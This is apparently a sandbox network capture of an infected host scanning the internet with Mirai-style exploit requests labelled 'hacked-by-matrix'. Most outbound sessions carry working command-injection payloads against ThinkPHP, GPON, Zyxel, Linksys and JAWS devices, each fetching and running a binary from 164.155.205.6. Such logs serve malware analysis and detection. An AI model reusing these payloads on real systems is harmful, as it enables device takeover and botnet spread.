Mar 2, 2024 12:37:52.683351994 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:35:12 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1057	192.168.2.23	57248	172.64.27.181	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.533149958 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:37:53.501512051 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1058	192.168.2.23	55508	88.198.76.68	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.857705116 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:53.032244921 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Sat, 02 Mar 2024 11:37:52 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1059	192.168.2.23	39618	88.198.212.44	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.857826948 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:53.032809019 CET	744	IN	HTTP/1.1 301 Moved Permanently Date: Sat, 02 Mar 2024 11:37:58 GMT Server: Apache/2.2.8 (Ubuntu) mod_fastcgi/2.4.6 Phusion_Passenger/2.2.9 mod_ssl/2.2.8 OpenSSL/0.9.8g Location: https://qwws.net/index.php?s=/index/ Content-Length: 388 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 71 77 77 73 2e 6e 65 74 2f 69 6e 64 65 78 2e 70 68 70 3f 73 3d 2f 69 6e 64 65 78 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 38 20 28 55 62 75 6e 74 75 29 20 6d 6f 64 5f 66 61 73 74 63 67 69 2f 32 2e 34 2e 36 20 50 68 75 73 69 6f 6e 5f 50 61 73 73 65 6e 67 65 72 2f 32 2e 32 2e 39 20 6d 6f 64 5f 73 73 6c 2f 32 2e 32 2e 38 20 4f 70 65 6e 53 53 4c 2f 30 2e 39 2e 38 67 20 53 65 72 76 65 72 20 61 74 20 71 77 77 73 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://qwws.net/index.php?s=/index/">here</a>.</p><hr><address>Apache/2.2.8 (Ubuntu) mod_fastcgi/2.4.6 Phusion_Passenger/2.2.9 mod_ssl/2.2.8 OpenSSL/0.9.8g Server at qwws.net Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1060	192.168.2.23	44366	88.221.1.26	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.920547009 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:54.145016909 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:55.580774069 CET	324	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1061	192.168.2.23	42510	88.206.3.133	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:52.920671940 CET	312	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:54.145020962 CET	312	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 2, 2024 12:37:54.382986069 CET	479	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Sat, 02 Mar 2024 11:37:54 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1062	192.168.2.23	50050	181.177.111.103	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:53.177860975 CET	434	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:37:53.266835928 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1063	192.168.2.23	51242	202.68.233.129	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:53.346808910 CET	270	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 2, 2024 12:37:53.672040939 CET	506	IN	HTTP/1.1 400 Bad Request Date: Sat, 02 Mar 2024 11:37:53 GMT Server: Apache/2.2.15 (CentOS) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 77 69 6e 2d 77 69 6e 70 61 72 74 6e 65 72 2e 63 6f 2e 6b 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.15 (CentOS) Server at win-winpartner.co.kr Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1064	192.168.2.23	41120	172.65.76.103	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:53.791024923 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1065	192.168.2.23	55782	94.115.100.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058808088 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1066	192.168.2.23	36384	178.98.43.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058823109 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1067	192.168.2.23	45676	212.189.195.183	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058840990 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1068	192.168.2.23	36140	79.131.115.89	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058876991 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1069	192.168.2.23	58330	118.69.250.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058893919 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1070	192.168.2.23	37038	42.252.107.11	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058901072 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1071	192.168.2.23	38646	94.217.78.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058944941 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1072	192.168.2.23	36778	2.182.29.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058954000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1073	192.168.2.23	39990	5.49.123.139	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058954000 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1074	192.168.2.23	42012	42.171.132.176	443

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:37:54.058978081 CET	323	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://164.155.205.6/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1075	192.168.2.23	56100	5.91.126.138	443

Timestamp	Bytes transferred	Direction	Data
